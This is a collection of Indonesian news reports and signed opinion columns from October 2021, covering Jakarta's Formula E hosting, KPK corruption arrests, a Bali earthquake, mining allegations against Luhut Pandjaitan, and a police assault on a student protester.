Jakarta, (FNN) - Provinsi DKI Jakarta resmi menjadi tuan rumah balap mobil listrik ABB FIA Formula E tahun 2022. Hal tersebut berdasarkan penetapan FIA World Motor Sport Council di Paris, Jumat, 15 Oktober 2021 waktu setempat. Ketetapan tersebut sekaligus meratifikasi kalendar balapan musim ke-8 tahun 2021/2022. Dalam video yang dibagikan khusus untuk penggemar olah raga otomotif di Indonesia, Chief Championship Officer sekaligus Co-founder Formula E, Alberto Longo, menyampaikan apresiasi yang tinggi atas partisipasi Indonesia. Longo menekankan pentingnya Jakarta E-Prix bagi Indonesia dan ABB Formula E. Longo mengapresiasi upaya Presiden Joko Widodo dalam mengurangi ketergantungan Indonesia pada energi konvensional, dan beralih pada energi ramah lingkungan, sebuah filosofi yang senada dengan pandangan FEO. "Apalagi dalam merealisasikan filosofi tersebut dan untuk mengambil manfaat dari tren mobil listrik dunia, Presiden Joko Widodo berencana menjadikan Indonesia sebagai pusat produksi mobil listrik dan baterai mobil," kata Longo dalam video yang diunggah Sabtu, 16 Oktober 2021. Longo pun mengutip pesan penting yang disampaikan Gubernur Anies Baswedan terkait balapan Formula E yang sejalan dengan program Jakarta Langit Biru dalam mewujudkan udara yang bersih. Anies berpesan, Pemprov DKI Jakarta berupaya menggeser kendaraan pribadi dengan transportasi umum. Kemudian mempromosikan penggunaan mobil listrik sebagai bagian dari beberapa langkah yang akan ditempuh. "Ini adalah upaya lintas generasi. Formula E akan membantu merangkul partisipasi generasi muda dan para milenial," kata Longo. Memasuki balapan musim ke-8, Formula E akan hadir di kota-kota ikonik dunia, termasuk Diriyah (Saudi Arabia), Roma, Monako, Berlin, Vancouver, New York, London, dan Seoul. Jakarta E-Prix 2022, akan menjadi gelaran balap pertama, dari tiga balapan yang akan dilaksanakan secara berturutan. Direktur Utama Jakarta Propertindo, Widi Amanasto, selaku penyelenggara acara menngatakan, trek jalanan dalam kota akan sangat efektif dalam mempromosikan Indonesia dan Jakarta. "Kami ingin masyarakat dunia menyaksikan kemajuan Indonesia, sehingga mereka tanpa ragu berkunjung ke Indonesia, baik sebagai turis maupun investor," kata Widi. Pada tahun 2022, Indonesia juga akan menjadi tuan rumah beberapa gelaran balap dunia, termasuk MotoGP. Hal tersebut tentu akan memberikan kesempatan yang besar mempromosikan negeri Indonesia. Guna memaksimalkan manfaat ekonomi, Formula E di Jakarta bukan hanya digelar dalam satu acara, melainkan rangkaian acara sepanjang beberapa bulan hingga Juni 2022. Acara tersebut tentu akan melibatkan banyak stakeholder (pemangku kepentingan), termasuk UMKM. "Kami berharap, balapan tersebut akan mendatangkan manfaat bagi banyak pihak" kata Ketua OC Jakarta E-Prix, yang juga Direktur Pengelolaan Aset Jakpro, Gunung Kartiko. (MD).

KPK Tangkap Bupati Musi Banyuasin

Jakarta, (FNN) - Komisi Pemberantasan Korupsi (KPK) menangkap Bupati Musi Banyuasin (Muba) Dodi Reza Alex Noerdin bersama lima orang lainnya dalam operasi tangkap tangan (OTT) di Kabupaten Muba, Sumatera Selatan, Jumat, 15 Oktober 2021. Penangkapan terkait dugaan suap pengadaan barang dan jasa infrastruktur di wilayah yang dipimpinnya. Pelaksana tugas Juru Bicara KPK Ali Fikri mengatakan, OTT yang dilakukan KPK tersebut terkait dugaan suap pengadaan barang dan jasa infrastruktur di Kabupaten Muba. "Dalam kegiatan tersebut, tim KPK mengamankan beberapa pihak pejabat di lingkungan Pemkab Muba. Sejauh ini ada sekitar enam orang di antaranya Bupati Muba dan beberapa ASN di lingkungan Pemkab Muba," kata Pelaksana tugas Juru Bicara KPK, Ali Fikri dalam keterangannya, di Jakarta, Sabtu, 16 Oktober 2021. Dodi merupakan anak dari mantan Gubernur Sumatera Selatan Alex Noerdin. Ali mengatakan, tim KPK telah selesai memeriksa pihak-pihak yang telah ditangkap tersebut. "Informasi yang kami peroleh, tim selesai melakukan pemeriksaan beberapa pihak dimaksud di Kejaksaan Tinggi Sumsel. Mereka akan segera dibawa ke Jakarta guna dilakukan pemeriksaan lanjutan. Perkembangannya akan diiinfokan," ucap Ali. Sesuai KUHAP, KPK memiliki waktu 1x24 jam, menentukan status dari para pihak yang ditangkap tersebut. (MD).

Bali Diguncang Gempa, Tiga Orang Tewas

Jakarta, (FNN) - Gempa bermagnitudo (M) 4,8 terjadi di Kabupaten Karangasem, Bali, pada Sabtu, 16 Oktober 2021 pukul 03.18 WIB menyebabkan tiga orang tewas dan tujuh orang mengalami patah tulang. Sejumlah bangunan juga rusak di Kecamatan Rencang, Kabupaten Karangasem. Bali. Kepala Pelaksana Badan Penanggulangan Bencana Daerah (BPBD) Bali, I Made Pantin menjelaskan, korban jiwa dua korban jiwa berasal dari Kabupaten Bangli. Satu korban dari Kabupaten Karangasem. Secara terpisah Kepala Bidang Mitigasi Gempa Bumi Badan Meteorologi, Klimatologi dan Geofisika (BMKG), Daryono mengatakan, gempa disebabkan aktivitas sesar atau patahan aktif lokal. Episentrum gempa terletak di koordinat 8,32 Lintang Selatan, 115,45 Bujur Timur, 8 kilometer (km) barat laut Karangasem dengan kedalaman 10 km, dan menyebabkan sejumlah kerusakan bangunan di Kecamatan Rendang, Karangasem, Bali. “Memperhatikan mekanisme sumber gempa Bali M4,8 yang merusak pagi ini, tampak bahwa gempa yang terjadi diakibatkan oleh aktivitas sesar atau patahan aktif lokal, bukan akibat sesar naik Flores (Flores Back Aec Thrusting,” ujar Daryono sebagaimana dikutip dari akun Twitter resminya @DaryonoBMKG, Sabtu. Dia mengatakan meski ada dugaan karena lokasi episenter di kompleks Gunung Api Agung-Batur, bisa jadi ada kaitan dengan migrasi magma yang mencetuskan aktivitas sesar lokal. “Pusat gempa Karangasem pagi ini terletak di zona gempa swarm Komplek Gunung Agung dan Gunung Batur pada tahun 2017,” ujar dia dalam keterangan tertulisnya. Dia menjelaskan gempa swarm yang pernah terjadi pada bulan September-Oktober 2017 memiliki magnitudo terbesar 4,2. Selanjutnya pada 8 November 2017 terjadi gempa paling kuat dengan M4,9 yang juga menimbulkan kerusakan ringan. Hasil monitoring BMKG hingga pukul 05.30 WIB tercatat tiga kali gempa susulan (aftershocks) pascagempa 4,8 yang merusak di Rendang, Karangasem, Bali. Gempa dirasakan dengan kekuatan M3,8 (dirasakan di Karangasem III MMI), M2,7 dan M1,7 yang terjadi pukul 03.52 WIB. Daryono mengatakan, gempa di Rendang Karangasem Bali M4,8 yang terjadi tadi pagi tidak hanya berdampak menimbulkan kerusakan bangunan rumah. Akan tetapi, ternyata memicu dampak ikutan (collateral hazard) seperti longsoran dan runtuhan batu di beberapa tempat, ujar dia. “Di kawasan pegunungan yang terdapat perbukitan tebing curam, dampak ikutan gempa kuat berupa longsoran dan runtuhan baru lazim terjadi, sehingga efek topografi semacam ini patut diwaspadai saat dan pasca gempa,” ujar dia. (MD).

Usut Tuntas Peran Luhut Panjaitan di Tambang Emas Seputar Intan Jaya, Papua

Dampaknya, sejumlah penduduk sipil Papua menjadi korban konflik bersenjata antara militer dengan TPNPB. Beberapa di antara mereka harus mengungsi dan bahkan meregang nyawa. Mereka telah menjadi korban industri pertambangan ekstraktif yang akan mengeruk kekayaan alam di tanah tempat kelahiran mereka sendiri! Oleh: Marwan Batubara DEWAN Perwakilan Rakyat (DPR) RI diminta segera memanggil Menteri Koordinator Bidang Kemaritiman dan Investasi, Luhut Binsar Pandjaitan (LPB) guna mengklarikasi dan mengusut berbagai masalah seputar pengiriman pasukan TNI-POLRI dan pemilikan saham tambang emas di Intan Jaya dan sekitarnya. Bagi rakyat, sambil memberi dukungan penuh dan mendoakan Direktur Eksekutif Lokataru, Haris Azhar, dan Koordinator KontraS Fatia Maulidianty yang digugat LBP ke Polda Metro Jaya senilai Rp 100 miliar, terkait urusan TNI-POLRI dan pemilikan saham tambang milik negara tersebut sangat mendesak diklarifikasi, dibuat terang-benderang. LBP menggugat Haris dan Fatia secara pidana pada 22 September 2021 berkaitan dengan tiga pasal, yakni pasal terkait Undang-Undang ITE, pidana umum, dan berita bohong. Laporan Luhut sudah teregister dengan nomor LP/B/4702/IX/2021/SPKT di Mapolda Metro Jaya. Selain itu LBP juga menggugat secara perdata berupa pencemaran nama baik dengan tuntutan ganti rugi Rp 100 miliar. Sebelum menggugat ke Polda Metro Jaya, pihak LBP dua kali melayangkan somasi. LBP menuntut Haris dan Fatia meminta maaf atas segelintir pernyataan dalam dialog keduanya di akun YouTube milik Haris. LBP mensomasi Haris dan Fatia atas pernyataan bahwa Lord Luhut “bermain” dalam bisnis tambang di Intan Jaya. Pihak Haris dan Fatia sudah menjawab, kata “bermain” merupakan cara menjelaskan Laporan Kajian 10 LSM secara sederhana, yang telah dipulikasi terbuka sejak Agustus 2021. Namun, jawaban ini tidak memuaskan LBP, sehingga somasi tersebut dilanjutkan dengan gugatan pidana dan perdata ke Polda (22/9/2021). Dialog Haris dan Fatia yang berlangsung sekitar 27 menit pada prinsipnya membahas laporan hasil kerja bersama koalisi 10 LSM berjudul “Ekonomi-Politik Penempatan Militer di Papua: Kasus Intan Jaya”. Ke-10 LSM tersebut adalah YLBHI, WALHI Eksekutif Nasional, Pusaka Bentala Rakyat, WALHI Papua, LBH Papua, KontraS, JATAM, Greenpeace Indonesia, Trend Asia dan BersihkanIndonesia. Laporan fokus mengungkap kejanggalan dan penyelewengan seputar penempatan militer dan kaitannya dengan bisnis tambang di Intan Jaya dan sekitarnya. Laporan mengungkap perihal operasi dan motif penerjunan aparat TNI-POLRI, indikasi relasi antara konsesi tambang dengan operasi militer di Papua, dampak operasi militer terhadap penduduk dan profil perusahaan pemegang konsesi tambang. Tiga tahun terakhir pengerahan kekuatan militer Indonesia di kawasan pegunungan tengah Provinsi Papua telah memicu eskalasi konflik bersenjata antara TNI-POLRI dan Tentara Pembebasan Nasional Papua Barat (TPNPB), serta kekerasan dan teror terhadap masyarakat sipil terutama di Kabupaten Intan Jay dan sekitarnya. Sepuluh LSM menilai, pengiriman aparat ke Papua merupakan “tindakan ilegal”. Sebab, pengiriman militer tidak dilandasi instruksi Presiden RI dan persetujuan DPR. Lantas apa motif dan atas perintah siapa aparat dikirim? Laporan kajian 10 LSM memberi pemahaman, yang terjadi di Intan Jaya, berupa kekerasan, penembakan, pembunuhan, perampasan lahan, dan kerusakan lingkungan hidup, diduga merupakan ekses kepentingan militer. Kepentingan militer itu terdiri dari dua spektrum, yakni ekonomi dan politik. Pada aspek ekonomi, kepentingan militer dapat dilihat terkait dengan keberadaan investasi skala besar yang memanfaatkan jasa pengamanan dan juga penempatan orang-orang tertentu dari militer di dalam jajaran perusahaan. Pada aspek politik, militer Indonesia berkepentingan mempertahankan teritori NKRI dengan membasmi TPNPB. Ternyata, berdasar analisis spasial oleh tim 10 LSM terungkap, letak pos militer dan kepolisian berada di sekitar konsesi tambang yang teridentifikasi terhubung baik secara langsung maupun tidak langsung dengan para pejabat atau mantan pejabat militer. Hal ini memperkuat keyakinan 10 LSM tentang pemanfaatan jasa militer mengamankan investasi besar usaha penambangan emas. Di sisi lain, masyarakat adat menolak kegiatan tambang di wilayahnya, sehingga sebagian mereka harus mengungsi dan malah tewas menjadi korban. Namun, operasi ilegal itu, justru memantik eskalasi konflik bersenjata, memperparah teror bagi masyarakat sipil, dan menambah deretan kekerasan negara di Papua. Sedikitnya 10% penduduk Sugapa, Ibu Kota Kabupaten Intan Jaya mengungsi, termasuk 331 perempuan dan anak-anak di awal tahun 2021. Perusahaan Pemegang Konsesi: PTMQ Terkait LBP Ada empat konsesi perusahaan tambang yang diidentifikasi terletak di kecamatan/distrik yang terdapat dan berdekatan dengan pos-pos militer. Keempat perusahaan tersebut yakni PT Freeport Indonesia dan/atau PT Antam/Mind-ID, PT Madinah Qurrata ‘Ain (PTMQ), PT Nusapati Satria (PTNS), dan PT Kotabara Mitratama (PTKM). Dua dari empat perusahaan, yakni PT Antam dan PTMQ adalah pemegang konsesi tambang di sekitar Intan Jaya yang teridentifikasi terhubung dengan militer/polisi, termasuk dengan Menko Marves LBP. Permasalahan terkait PT Antam akan dibahas pada tulisan terpisah. PTMQ memegang konsesi 23.150 hektar yang masih tahap eksplorasi. Lahan konsesi PTMQ berdekatan dengan beberapa pos polisi danb militer seperti Polsek Sugapa, Polres Intan Jaya, dan Kodim Persiapan Intan Jaya. Awalnya, perusahaan tersebut dimiliki oleh Dasril dan Ason, yang kemudian menjalin kerjasama dengan perusahaan asal Australia, West Wits Mining (WWM). Belakangan, WWM justru menjadi pemilik 64% saham PTMQ. Sehingga PTMQ menjadi subsidiary dari WWM. Pada 2016, WWM memberi 30% saham kepada Tobacom Del Mandiri atau PT Tambang Raya Sejahtera (TSR), anak perusahaan Toba Sejahtera Group (TSG). Kerjasama WWM dengan TSG (yang mayoritas saham milik Menko LBP) ini merupakan “perjanjian aliansi bisnis” yang dimulai Oktober 2016. Ada tiga nama aparat yang terhubung dengan PTMQ, yaitu Purn. Polisi Rudiard Tampubolon, Purn. TNI Paulus Prananto, dan Menko LBP. Rudiard Tampubolon merupakan komisaris PTMQ. Selain duduk sebagai komisaris, perusahaan yang dipimpin Rudiard yakni PT Intan Angkasa Aviation juga mendapat 20% kepemilikan saham di PTMQ. Paulus Prananto dan LBP merupakan anggota tim relawan (Bravo Lima) pemenangan Presiden Joko Widodo pada Pilpres 2014 dan 2019. Menurut WWM, kepemimpinan dan pengalaman Rudiard cukup berhasil menavigasi PTMQ menuju operasi tambang. Merujuk Annual Report WWM 2017, aliansi bisnis WWM dengan TSG yang dijalankan oleh TSR adalah untuk kelancaran bisnis tambang. TDM bertanggung jawab atas operasi terkait izin kehutanan, sertifikat clean and clear, akses lokasi dan keamanan. Dilaporkan pula, sebagai bagian dari Toba Sejahtera Group (TSG), TSR memiliki akses terhadap “berbagai keahlian” yang ada dalam TSG, dan juga “koneksi” kepada para pengambil keputusan di pemerintahan maupun di penegak hukum. Tampaknya karena “peran dan kemampuan strategis” inilah maka TDM/TSG “memperoleh ganjaran” saham sangat besar dari WWM. WWM jelas sangat menikmati berbagai fasilitas dan kelancaran bisnis tambang di Intan Jaya karena berpartner dengan perusahaan milik pejabat yang sangat berkuasa di Indonesia, yakni LBP. Terasa, LBP sangat berpengaruh dalam berbagai sektor di pemerintahan, seperti sektor-sektor energi, migas, tambang, ekonomi, politik, hankam, dan lain-lain. Jabatan dan tugas yang “dibebankan” Presiden Jokowi kepada LBP sangat banyak dan beragam, sampai-sampai sejumlah politisi dan aktivis menjuluki LBP sebagai The Real President. Semoga saja yang menjadi Presiden yang sebenarnya adalah Presden Jokowi. Kita pun tidak mempermasalahkan banyaknya jabatan LBP asalkan dijalankan sesuai peraturan yang berlaku. Namun, terkait operasi militer dan tambang PTMQ di Intan Jaya, serta dampak operasi terhadap rakyat sekitar tambang, tercatat berbagai masalah strategis yang perlu diklarifikasi dan diproses secara hukum. Untuk itu, DPR didesak agar segera menjalankan fungsi pengawasan terhadap pemerintah, terutama Menko LBP, melalui berbagai mekanisme seperti rapat kerja, audit menyeluruh dan membentuk pansus (panitia khusus). Klarifikasi dan proses hukum, termasuk pertanggungjwaban pemerintah, harus dituntaskan minimal atas permasalahan berikut. Pertama, pengiriman militer ke wilayah sekitar tambang dinilai illegal, tanpa didukung oleh Kepres dan persetujuan DPR, sehingga melanggar Pasal-pasal 17, 18, 19 dan 20 UU No.34/2004 tentang TNI. Kedua, ketiadaan instruksi resmi dapat menjadi indikasi pengiriman pasukan dan operasi militer di Intan Jaya tidak semata soal penumpasan kelompok bersenjata, namun justru terkait erat dengan kepentingan ekonomi bisnis tambang. Ketiga, karena kekuasaan dan pengaruh Menko LBP sangat besar ditengarai terjadi penyalahgunaan wewenang dalam proses perizinan, akses lokasi, sertifikat clean and clear, dan pemanfaatan TNI-POLRI guna mendukung kelancaran dan keamanan para perusahaan bisnis tambang, termasuk PTMQ. Peran dan kekuasaan LBP yang sangat besar itu secara gamblang termuat dalam Laporan Tahunan MMW 2017. Tampaknya, karena peran tersebutlah WWM mengganjar TSR dengan saham besar, 30%, di PTMQ. Keempat, kepentingan ekonomi perusahaan dan militer terselip dari serangkaian kekerasan operasi TNI-POLRI yang melanggar HAM di Intan Jaya dan sekitarnya. Dampaknya, sejumlah penduduk sipil Papua menjadi korban konflik bersenjata antara militer dengan TPNPB. Beberapa di antara mereka harus mengungsi dan bahkan meregang nyawa. Mereka telah menjadi korban industri pertambangan ekstraktif yang akan mengeruk kekayaan alam di tanah tempat kelahiran mereka sendiri! Kelima, sebagian besar masyarakat adat tidak menyetujui penambangan emas di wilayahnya. Oleh karena itu, konsesi tambang yang telah diberikan perlu dicabut oleh pemerintah. Dalam hal ini pemerintah pusat dan daerah perlu memperbaiki kebijakan tambang di Papua, yang harus mengutamakan keselamatan, kedamaian dan kesejahteraan rakyat sekitar. Permasalahan dan dugaan penyelewengan seputar bisnis tambang dan operasi militer di Intan Jaya sangat besar untuk dibandingankan dengan gugatan perdata & pidana Menko LBP terhadap Haris Azhar dan Fatia Maulidianty atas dasar ungkapan “Lord Luhut bermain bisnis tambang”. Padahal, dialog Haris dan Fatia hanya menjelaskan laporan dan temuan Koalisi 10 LSM tentang berbagai pelanggaran operasi aparat TNI-POLRI di Intan Jaya. Temuan tim 10 LSM tampaknya bukan sekedar “permainan” remeh temeh. Laporan pun telah terpublikasi sejak Agustus 2021. Namun, tindakan korektif dan tindak lanjut dari pemerintah dan DPR sangat tidak jelas. Jangan-jangan gugatan tersebut dimaksudkan mengalihkan perhatian dan/atau menutupi isu besar terkait keterlibatan dan penyelewengan sejumlah pejabat negara dalam operasi militer dan bisnis tambang di Intan Jaya. Apapun itu, demi kedaulatan, hukum dan keadilan di NKRI kita mendesak DPR dan Presiden Jokowi segera menuntaskan kasus besar itu. Tidak ada tempat bagi siapa pun yang memiliki kekuasaan sangat besar dan kuat untuk berada di atas negara, konstitusi dan perundang-undangan yang berlaku. Sambil mengapresiasi hasil kerja koalisi 10 LSM dan “umpan terobosan” Haris dan Fatia, mari kita tunggu langkah konkrit dari DPR dan Presiden Jokowi, “The Real President”! Penulis adalah Direktur Eksehutif Indonesian Resources Studies atau IRESS.

Praktik Banting Polisi Kenapa Pada Mahasiswa Kerempeng?

By Asyari Usman BERITA-berita terbaru menyebutkan kondisi kesehatan mahasiswa Tangerang yang dibanting polisi, Brigadir NP, makin memburuk. Ini tidak mengherankan kalau dilihat rekaman video pembantingan “full force” (sekuat tenaga) itu. Seram sekali melihat bantingan itu. Ngeri! Bisa mati kontan kalau bantingannya seperti itu. Heran! Praktik banting kok pada orang yang tak seimbang dengan keterampilan si polisi? Tak seimbang juga postur tubuhnya. Sudah pasti enteng kalau dibanting. Badan mahasiswa itu kerempeng. Sedangkan si polisi tegap. Bantinglah sesama polisi yang kekar. Yang sama-sama berlatih dengan Anda. Berbadan kekar. Berotot keras. Itu baru hebat. Atau, praktikkan kejagoan Anda membanting itu kepada preman-preman pengedar narkoba. Kalau mahasiswa yang kurus itu, pastilah tak bisa melawan. Dan enak bagi Anda untuk membantingnya. Coba Anda banting preman pengedar narkoba yang berat badannya mungkin mencapai 100 kilo atau bahkan lebih. Empat jempol untuk Anda. Jangan cuma berani praktik pada orang-orang yang tak ‘kan sanggup menghadapi Anda. Carilah lawan yang setara. Lihat saja. Ketika mahasiswa itu Anda piting lehernya, dia tak bisa bergerak lagi. Mudahlah untuk dibanting. Tapi, apakah bantingan sekuat tenaga Anda itu sepadan dengan kesalahan si mahasiswa? Apa kejahatan yang dia lakukan? Kalau si polisi pembanting merasa si mahasiswa melakukan kesalahan ketika berdemo, apakah membanting dia ke lantai beton pantas untuk kejahatan yang dia lakukan? Kalau diamati rekaman video peristiwa itu, si polisi kelihatannya ingin menunjukkan kehebatan bela dirinya. Dan memang hebatlah keterampilan bela diri Anda. Cuma, kehebatan itu menjadi “cengeng” ketika itu Anda praktikkan kepada orang yang tak akan mampu melawan. Semoga saja si korban bisa pulih tanpa cacat. Semoga pula si polisi jagoan itu diadili. Dia pantas dihukum berat. Tapi, belum apa-apa bupati Tangerang, Zaki Iskandar, membuat pernyataan bahwa si mahasiswa mengidap penyakit bawaan. Jadi, dia berstatus komorbid. Untuk apa Pak Bupati memunculkan komorbid itu? Apa maksudnya? Paling-paling dia mencoba untuk memelintir kasus ini agar tidak memberatkan si polisi. Akan ada kesimpulan bahwa si mahasiswa sakit serius karena ada penyakit bawaan itu.[] (Penuliils wartawan senior FNN)

SMRC: 78 Persen Rakyat Indonesia Tidak Menghendaki Amandemen UUD 1945

Jakarta, FNN - Hasil survei Saiful Mujani Research and Consulting (SMRC) menyebutkan sebanyak 78 persen rakyat Indonesia tidak menginginkan adanya amendemen Undang-undang Dasar (UUD) 1945. Direktur Eksekutif SMRC, Sirojudin Abbas mengatakan hal itu saat mempresentasikan hasil survei opini publik bertajuk 'Sikap Publik Nasional terhadap Amendemen UUD 1945' secara daring, di Jakarta, Jumat. Abbas mengatakan ditemukan bahwa mayoritas warga (66 persen) menilai UUD 1945 adalah rumusan terbaik dan tidak boleh diubah atas alasan apa pun bagi Indonesia yang lebih baik. Menurut dia, ada 12 persen yang menilai bahwa walaupun UUD 1945 buatan manusia dan karena itu mungkin ada kekurangan, sejauh ini paling pas bagi kehidupan Indonesia yang lebih baik sehingga total ada 78 persen. "Dua sikap ini menunjukkan bahwa publik tidak ingin ada perubahan atau amendemen pada UUD 1945 atau Konstitusi Republik Indonesia," kata Abbas dalam siaran persnya. Sementara dukungan atas amendemen datang dari minoritas warga. "Hanya ada 11 persen yang berpendapat beberapa pasal dari UUD 1945 perlu diubah atau dihapus, dan ada 4 persen yang menilai UUD 1945 sebagian besar harus diubah. Masih ada 7 persen yang menjawab tidak tahu," ucap Abbas. Sikap publik yang tidak menghendaki adanya Amendemen UUD ini, kata dia, terlihat dominan pada setiap massa pemilih partai maupun pemilih Capres 2019. Demikian pula pada setiap lapisan demografi. "Mayoritas warga pada setiap massa pemilih partai, massa pemilih Capres 2019 yang puas maupun tidak puas dengan kinerja Presiden Jokowi, dan seluruh lapisan demografi tidak menghendaki perubahan pada UUD 1945," jelas Abbas. Survei opini publik ini digelar pada 15-21 September 2021 melalui tatap muka atau wawancara langsung. Sampel sebanyak 1.220 responden dipilih secara acak (multistage random sampling) dari seluruh populasi Indonesia yang berumur minimal 17 tahun atau sudah menikah. Response rate (responden yang dapat diwawancarai secara valid) sebesar 981 atau 80 persen. Margin of error survei dengan ukuran sampel tersebut diperkirakan sebesar ± 3,19 persen pada tingkat kepercayaan 95 persen (asumsi simple random sampling). (sws, ant)

KPK Tetapkan Adik Mantan Bupati Lampung Utara Tersangka Gratifikasi

Jakarta, FNN - Komisi Pemberantasan Korupsi mengumumkan Akbar Tandaniria Mangkunegara (ATMN), adik mantan Bupati Lampung Utara Agung Ilmu Mangkunegara yang notabene aparatur sipil negara, sebagai tersangka kasus penerimaan gratifikasi di Pemerintah Kabupaten Lampung Utara pada tahun 2015—2019. "Dengan telah dilakukannya pengumpulan keterangan dari berbagai pihak serta fakta persidangan dari perkara Agung Ilmu Mangkunegara dilanjutkan dengan penyelidikan, KPK menemukan bukti permulaan yang cukup dan meningkatkan perkara ini ke tahap penyidikan pada bulan April 2021," kata Deputi Penindakan dan Eksekusi KPK Karyoto saat jumpa pers di Gedung KPK, Jakarta, Jumat. Atas perbuatannya, tersangka Akbar disangkakan melanggar Pasal 12B atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 juncto Pasal 55 ayat (1) ke-1 KUHP jo. Pasal 65 KUHP. Untuk kepentingan penyidikan, kata Karyoto, tim penyidik mehanan tersangka Akbar selama 20 hari pertama terhitung mulai 15 Oktober sampai dengan 3 November 2021 di Rutan KPK Kavling C1 berlokasi di Gedung Pusat Edukasi Antikorupsi KPK, Jakarta. "Dilakukan isolasi mandiri selama 14 hari sebagai upaya antisipasi penyebaran COVID-19 di dalam lingkungan Rutan KPK," ucap Karyoto. Sebelumnya, KPK telah menetapkan dua tersangka terkait dengan kasus tersebut, yaitu Agung Ilmu Mangkunegara dan mantan Kepala Dinas PUPR Kabupaten Lampung Utara Syahbudin. Kasus yang menjerat Akbar saat ini merupakan pengembangan dari kasus dua orang tersebut. "Perkara keduanya telah diputus oleh pengadilan tipikor dan telah berkekuatan hukum tetap," ucap Karyoto. (sws, ant)

Ledakan Masjid di Afghaninstan Timbulkan Banyak Korban

Kabul, FNN - Ledakan kuat mengguncang sebuah masjid Syiah di Kota Kandahar, Afghanistan, saat shalat Jumat, 10 Oktober 2021, sedang berlangsung. Peristiwa itu menimbulkan banyak korban jiwa. Juru bicara Kementerian Dalam Negeri Talibat, Qari Saeed Khosti, mengatakan, otoritas sedang mengumpulkan detail ledakan. Insiden itu terjadi beberapa hari pascaserangan bom bunuh diri, yang diklaim oleh ISIS, di sebuah masjid Syiah di Kota Kunduz menewaskan sejumlah orang. Foto-foto yang diunggah oleh kalangan wartawan di media sosial memperlihatkan banyak orang, yang tampaknya tewas atau mengalami luka parah, bergeletakan di lantai masjid. Mantan anggota dewan provinsi setempat, Nematullah Wafa, menyebutkan bahwa ledakan terjadi di masjid Imam Barqah dan menyebabkan banyak korban, tetapi tidak ada konfirmasi langsung mengenai jumlah korban tewas maupun terluka. Belum ada pihak yang mengaku bertanggung jawab atas ledakan tersebut. Ledakan berlangsung tak lama setelah serangan Kunduz menyoroti keamanan yang semakin tidak pasti di Afghanistan saat ISIS menggencarkan operasi mereka, menyusul kemenangan Taliban atas pemerintah dukungan Barat di Kabul pada Agustus. (MD).

Banting Mahasiswa Saat Demo, Brigadir NP Ditahan Polisi

Serang, FNN - Mahasiswa Universitas Islam Negeri Sultan Maulana Hasanuddin (UIN SMH) meminta petugas polisi yang men-smackdown mahasiswa di Kantor Kabupaten Tangerang, dipecat. Permintaan tersebut mereka sampaikan saat melakukan aksi demo di depan kampus UIN-SMH, Jumat, 15 Oktober 2021. Puluhan mahasiswa dari kampus tersebut menggelar aksi demo terkait kekerasan yang dilakukan petugas polisi Brigadir NP terhadap seorang mahasiswa yang ikut aksi unjuk rasa di Kompleks Pemerintahan Kabupaten Tangerang, di Tigaraksa. Para mahasiswa UIN SMH meminta petugas polisi tersebut dipidanakan dan dipecat. "Hari ini kita minta ke pihak kepolisian memecat orang yang sudah menyakiti kawan kami. Tolong polisi dengarkan, tugas kepolisian adalah mengayomi masyarakat bukan men-smackdown mahasiswa," kata salah satu mahasiswa, sebagaimana dikutip dari Antara. Sempat terjadi aksi dorong antara kepolisian dan mahasiswa. Mahasiswa akhirnya bergeser ke pinggir jalan Jenderal Soedirman. Perwakilan mahasiswa, Iqbal mengatakan, represifitas kepolisian dalam penanganan demo sudah sering terjadi dan sudah keluar dari standar kerja mereka. Mahasiswa UIN Banten mengecam setiap tindakan represif atas penanganan penyampaian aspirasi. "Pecat adili oknum polisi yang melakukan represifitas terhadap mahasiswa," ujarnya. Secara terpisah, Kepala Bidang Hubungan Masyarakat Kepolisian Daerah Banten, Ajun Komisaris Besar Shinto Silitonga menjelaskan, Brigadir NP telah ditahan selama tujuh hari sejak Jumat, 15 Oktober 2021. Ia ditahan di ruang tahanan khusus Bidang Profesi dan Pengawasan Polda Banten. Penahanan dilakukan guna memudahkan pemeriksaan. Ia ditahan sejak pertama kali diperiksa dalam kasus smackdown yang terjadi pada Rabu, 13 Oktober 2021. Peristiwa pembantingan terhadap mahasiswa tersebut telah menyita perhatian nasional. Silitonga mengatakan, mengatakan NP terancam dikenakan pasal berlapis dalam tindakannya membanting mahasiswa dengan keras ala smackdown. "Dua pasal lebih, kami sampaikan itu dulu, karena ini belum pemeriksaan saksi lanjutan. Jadi kami akan sampaikan tentang pasalnya nanti setelah pemberkasan selesai," kata Shinto Silitonga, di Mapolda Banten, Serang, Jumat (15/10). Di tempat terpisah, Kepala Kepolisian Resor Tangerang Komisaris Besar Wahyu Sri Bintoro memastikan akan menindak dan memproses anggota kepolisian setempat yang menganiaya mahasiswa pengunjuk rasa di Tangerang, Banten, secara profesional sesuai hukum yang berlaku. "Pak Kapolda Banten meminta masyarakat untuk percayakan penanganan perkara ini akan dilakukan sesuai dengan prosedur yang berlaku di lingkungan Polri," kata Wahyu di Tangerang, Jumat. Ia mengatakan, tindakan hukum yang akan diberikan terhadap anggota polisi berinisial Brigadir NP tersebut sesuai dengan peraturan yang berlaku, baik itu proses pidana maupun sanksi etik Polri. "Kita sudah terbitkan surat pengamanan dan untuk sementara yang bersangkutan kita gunakan peraturan disiplin anggota Polri, yaitu PP Nomor 2 Tahun 2003 Pasal 4 huruf a dan Pasal 4 huruf b," katanya. Menurut dia, proses hukum yang dilakukan itu merupakan bentuk ketegasan Polri dalam menyikapi anggota polisi yang menyalahi tugas atau tidak sesuai dengan SOP yang berlaku dalam menangani aksi demonstrasi. "Tentu bagi anggota Polri wajib memberikan perlindungan, pengayoman, dan pelayanan dengan sebaik-baiknya kepada masyarakat dan menaati peraturan UUD serta peraturan kedinasan yang berlaku," ujarnya. Ia menjelaskan, pihaknya melalui Bidang Propam Polda Banten masih melakukan proses pemeriksaan lebih lanjut terhadap anggota polisi Brigadir NP tersebut. "Untuk Brigadir MP mulai dari kemarin masih menjalani pemeriksaan di Propam Polda Banten," ungkapnya. Selain itu, pihaknya meminta semua elemen masyarakat supaya mempercayakan sepenuhnya penanganan perkara ini kepada kepolisian yang akan dilakukan sesuai prosedur atau aturan berlaku di institusi Polri. Kapolres juga menjelaskan, korban MFA hingga kini masih dilakukan pemantauan kondisi kesehatannya dengan dilakukan rontgen di rumah sakit (RS). Dari hasil awal pemeriksaan oleh dokter, kondisinya dinyatakan baik pascakejadian yang dialaminya itu. (MD).

Anies Targetkan Jakarta Jadi Kota Berketahanan Iklim

